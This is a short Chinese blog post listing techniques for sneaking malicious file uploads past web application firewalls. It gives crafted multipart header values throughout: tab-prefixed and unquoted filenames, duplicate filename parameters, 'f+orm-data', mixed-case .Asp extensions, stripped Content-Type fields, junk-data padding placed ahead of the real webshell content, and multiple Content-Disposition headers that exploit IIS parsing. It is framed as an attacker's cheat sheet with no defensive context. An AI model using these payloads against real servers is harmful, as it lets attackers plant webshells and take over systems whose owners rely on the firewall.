waf绕过之文件上传

1.文件名前缀加上[0x09]

filename="[0x09]backlion.asp"

Content-Type: text/html

2.文件名去掉双引号绕过

filename=backlion.asp

Content-Type: text/html

3.添加一个filename1的文件名参数,并且赋值绕过

filename="backlion.asp";filename1="test.jpg"

Content-Type: text/html

4.form变量改为f+orm组合绕过

Content-Disposition: f+orm-data; name="filepath"; filename="backion.asp"

5.文件名后缀大小写绕过

filename="backlion.Asp"

6.利用waf本身缺陷

【1】去掉form-data变量绕过

【2】删除content-Type字段

7.在form-data或者在Content-Disposition后面加上多个空格

Content-Disposition: form-data; name="filepath";

8.添加垃圾数据

有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;

image

当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。

image

可以将垃圾数据加上Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错

九、多个Content-Disposition

在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP

image

posted @ 2026-06-18 13:05  Doll_Marker  阅读(12)  评论(0)    收藏  举报